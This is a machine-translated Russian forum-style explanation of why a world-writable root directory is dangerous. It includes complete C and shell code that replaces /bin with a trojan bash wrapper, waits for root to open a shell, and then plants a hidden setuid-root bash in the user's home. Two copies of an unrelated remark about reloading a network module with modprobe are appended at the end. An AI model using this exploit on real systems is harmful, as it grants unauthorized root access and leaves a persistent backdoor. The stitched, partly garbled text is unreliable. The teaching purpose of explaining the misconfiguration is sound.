/, являющимся всемирно-записываемым, может быть огромной проблемой. Имея права на запись в /, любой пользователь может перемещать / переименовывать любой файл или каталог в /. Это означает, что любой пользователь может заменить /etc, /usr или любые другие каталоги в / каталогами по их выбору.
Любой пользователь может тривиально удалить вашу систему, переименовав /etc и /usr.
Немного сложнее выполнить эскалацию привилегий. Пользователь может заменить /bin своей собственной копией, и любой процесс, который затем пытается использовать cp, или даже запустить оболочку, будет немедленно по их милости. Все, что нужно пользователю, - это ждать процесса, выполняемого как root, для использования любой команды в /bin или пользователя root, чтобы использовать логин, и они находятся.
#include<sys/types.h>
#include<unistd.h>
int main(int argc, char*argv[], char *env[])
{
if (getuid() == 0) {
system("/home/muru/foo");
}
execve("/bin/bash", argv, env);
}
foo:
#!/bin/sh
mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash
И затем:
$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin
И в следующий раз, когда корень запускает оболочку , вы получаете исполняемый файл setuid в своем домашнем каталоге, который затем вы можете удобно использовать, чтобы получить root, когда захотите, не оставляя большого следа.
Попробуйте проверить, загружен ли модуль modprobe. Случилось некоторое время назад той же проблемой, просто перезагрузили сетевой модуль
Попробуйте проверить, загружен ли модуль modprobe. Случилось некоторое время назад той же проблемой, просто перезагрузили сетевой модуль